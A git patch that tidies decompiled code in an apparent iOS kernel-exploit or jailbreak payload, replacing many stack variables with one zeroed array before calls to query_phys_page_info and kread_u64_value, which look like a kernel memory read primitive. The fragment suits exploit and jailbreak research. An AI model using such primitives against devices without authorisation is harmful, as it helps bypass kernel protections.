From 096f76f437bd9af733ade956c7237607a793470f Mon Sep 17 00:00:00 2001
From: khanhduytran0 <khanhduytran0@users.noreply.github.com>
Date: Fri, 5 Jun 2026 12:32:15 +0700
Subject: [PATCH] Clean up iokit notification payload buffer

---
 src/payload_377bed/entry1_type0x09.m | 42 ++++------------------------
 1 file changed, 6 insertions(+), 36 deletions(-)

diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m
index b318a2a..9d684a2 100644
--- a/src/payload_377bed/entry1_type0x09.m
+++ b/src/payload_377bed/entry1_type0x09.m
@@ -10410,43 +10410,13 @@ __int64 __fastcall prepare_iokit_notification_payload(__int64 a1, __int64 a2, __
 {
   __int64 v4; // x0
   __int64 v5; // x1
-  __int64 v7; // [xsp+8h] [xbp-108h] BYREF
-  __int128 v8; // [xsp+10h] [xbp-100h]
-  __int128 v9; // [xsp+20h] [xbp-F0h]
-  __int128 v10; // [xsp+30h] [xbp-E0h]
-  __int128 v11; // [xsp+40h] [xbp-D0h]
-  __int128 v12; // [xsp+50h] [xbp-C0h]
-  __int128 v13; // [xsp+60h] [xbp-B0h]
-  __int128 v14; // [xsp+70h] [xbp-A0h]
-  __int128 v15; // [xsp+80h] [xbp-90h]
-  __int128 v16; // [xsp+90h] [xbp-80h]
-  __int128 v17; // [xsp+A0h] [xbp-70h]
-  __int128 v18; // [xsp+B0h] [xbp-60h]
-  __int128 v19; // [xsp+C0h] [xbp-50h]
-  __int128 v20; // [xsp+D0h] [xbp-40h]
-  __int128 v21; // [xsp+E0h] [xbp-30h]
-  __int64 v22; // [xsp+F0h] [xbp-20h]
-  __int64 vars8; // [xsp+118h] [xbp+8h]
+  uint64_t payload[30]; // [xsp+8h] [xbp-108h] BYREF
 
-  v14 = 0u;
-  v15 = 0u;
-  v16 = 0u;
-  v22 = 0;
-  v21 = 0u;
-  v20 = 0u;
-  v19 = 0u;
-  v18 = 0u;
-  v17 = 0u;
-  v12 = 0u;
-  v13 = 0u;
-  v10 = 0u;
-  v11 = 0u;
-  v8 = 0u;
-  v9 = 0u;
-  v7 = *(uint64_t *)(a1 + 664) + 61440LL;
-  *((uint64_t *)&v15 + 1) = a2;
-  *(uint64_t *)&v16 = a3;
-  query_phys_page_info(a1, qword_48020, (__int64)&v7);
+  memset(payload, 0, sizeof(payload));
+  payload[0] = *(uint64_t *)(a1 + 664) + 61440LL;
+  payload[16] = a2;
+  payload[17] = a3;
+  query_phys_page_info(a1, qword_48020, (__int64)payload);
   v4 = *(uint64_t *)(a1 + 8);
   v5 = *(uint64_t *)(a1 + 664) + 61440LL;
   return kread_u64_value(v4, v5);